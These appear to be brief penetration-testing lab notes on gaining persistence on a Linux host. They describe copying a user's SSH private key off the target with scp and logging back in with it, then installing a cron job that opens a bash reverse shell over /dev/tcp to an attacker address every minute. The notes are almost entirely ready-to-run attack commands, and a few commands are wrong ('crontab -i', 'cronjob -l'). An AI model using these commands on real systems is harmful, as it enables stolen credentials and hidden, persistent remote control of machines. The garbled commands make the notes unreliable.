Persistence via ssh keys

To download the file from the target machine

scp student@192.168.123.3:~/.ssh/id_rsa .

Give the private key permission

chmod 400 id_rsa

Logging in back with the id_rsa

ssh student@192.168.123.3 -i id_rsa

Persistence via cronjobs

To create a cronjob, a simple cron file has to be created and added and to the crontab

creating the cron file

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.123.2/1234 0>&1'" > cron

Now, this will run everytime since there are 5 astericks.

To add the cronjob

crontab -i cron

To view the list of cronjobs

cronjob -l